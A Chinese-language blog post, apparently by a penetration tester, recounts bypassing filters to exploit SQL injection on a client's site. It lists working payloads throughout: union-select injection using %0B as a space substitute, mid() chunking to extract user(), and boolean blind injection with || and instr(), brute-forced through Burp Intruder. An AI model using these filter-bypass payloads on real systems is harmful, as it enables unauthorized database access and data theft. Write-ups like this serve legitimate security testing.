近日为甲方爸爸挖漏洞,又是遇到奇葩SQL注入的一天。
一个小单引号之后,报错了,好样的,sql注入无疑了
一开始以为是最常见的 union select 联合查询黑名单过滤,于是乎使用了大部分的方式都是对这两个单次进行绕过,什么大小写、双拼、编码转换,这里要说的是, /**/ 这种的也会被屏蔽
而后进行了一系列绕过后,发现并没有什么卵用,采坑经过就不披露了,然后偶然间发现不是屏蔽了union select
大师,我悟了,我明白了,这是屏蔽了union select 之后的东西,比如说空格?
竟然%20 + /**/这几种常见的空格替代符不能用,我想到了用 %0b
'+union+select%0B1,2,3,4,5,6,7,8,9;%00
获得字段显示位置
我真是个小机灵鬼,多出来一段,而且字段2 正好对应了
获取用户名
'+union+select%0B1,user(),3,4,5,6,7,8,9;%00
拿到了用户名,但是又没完全拿到,通过分析,这里限制长度不能在页面上直接修改,那么还有一个简单的方式,分段拿数据
拿从第五位开始,后四位的数据
'+union+select%0B1,mid(user(),5,4),3,4,5,6,7,8,9;%00
依次类推,就出来了。
又又又是一次注入,这一次是纯正血统的布尔盲注
竟然是布尔盲注,那当然是想要用 and / or 进行爆数据
之后我想起了上一次我遇到的宝塔面板拦截
传送门____>>>>>链接: https://blog.csdn.net/weixin_48421613/article/details/115181668.
没错,我使用逻辑运算符,这里面我使用的是 || 因为 **&&**被屏蔽了
条件为真时数据变化
key=1'+||+1='1
条件为假时数据变化
key=1'+||+1='2
第一弹当然是想获取一下用户名长度
key=1'+||+length(user())='14
将之放入到burpsuite的intruder模块进行爆破
由于是单条数据爆破,所以使用Sniper模块
payload 选择 number模块
降低线程,否则会挂掉哈
key=1'+||+ascii(substr(user(),1,1))='1
怎么办?只这一条数据并不能说明什么,那么想到了一个猥琐的玩法
key=1'+||+instr(version(),5)='1
这条语句是我更改之后的,目测也很好使,玩法就是版本5 出现在第一位
出现就是真,不出现就是假
一开始想的是
left(str,1) 从左数前一位字符
rigth(str,1) 从右数前一位字符
但是没出来啥东西,但是instr好使,这里面屏蔽了 ascii、substr、mid等等函数